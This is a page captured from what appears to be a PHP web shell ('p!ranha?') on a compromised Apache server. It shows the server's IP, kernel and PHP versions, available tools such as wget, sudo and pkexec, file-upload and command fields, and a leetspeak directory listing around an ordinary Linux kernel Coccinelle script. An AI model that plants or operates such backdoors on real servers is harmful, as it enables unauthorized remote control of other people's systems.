p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/coccinelle/misc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/coccinelle/misc/cstptr.cocci
/// PTR_ERR should be applied before its argument is reassigned, typically
/// to NULL
///
// Confidence: High
// Copyright: (C) 2012 Julia Lawall, INRIA/LIP6.  GPLv2.
// Copyright: (C) 2012 Gilles Muller, INRIA/LiP6.  GPLv2.
// URL: http://coccinelle.lip6.fr/
// Comments:
// Options: -no_includes -include_headers

virtual org
virtual report
virtual context

@r exists@
expression e,e1;
constant c;
position p1,p2;
@@

*e@p1 = c
... when != e = e1
    when != &e
    when != true IS_ERR(e)
*PTR_ERR@p2(e)

@script:python depends on org@
p1 << r.p1;
p2 << r.p2;
@@

cocci.print_main("PTR_ERR",p2)
cocci.print_secs("assignment",p1)

@script:python depends on report@
p1 << r.p1;
p2 << r.p2;
@@

msg = "ERROR: PTR_ERR applied after initialization to constant on line %s" % (p1[0].line)
coccilib.report.print_report(p2[0],msg)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:57
0 / 0
0755
boolinit.cocci
2.195 KB
November 06 2023 09:15:52
0 / 0
0644
cstptr.cocci
0.806 KB
November 06 2023 09:15:52
0 / 0
0644
doubleinit.cocci
1.356 KB
November 06 2023 09:15:52
0 / 0
0644
ifaddr.cocci
0.656 KB
November 06 2023 09:15:52
0 / 0
0644
ifcol.cocci
1.211 KB
November 06 2023 09:15:52
0 / 0
0644
irqf_oneshot.cocci
1.091 KB
November 06 2023 09:15:52
0 / 0
0644
memcpy-assign.cocci
1.883 KB
November 06 2023 09:15:52
0 / 0
0644
noderef.cocci
0.967 KB
November 06 2023 09:15:52
0 / 0
0644
orplus.cocci
0.877 KB
November 06 2023 09:15:52
0 / 0
0644
semicolon.cocci
1.038 KB
November 06 2023 09:15:52
0 / 0
0644
warn.cocci
1.62 KB
November 06 2023 09:15:52
0 / 0
0644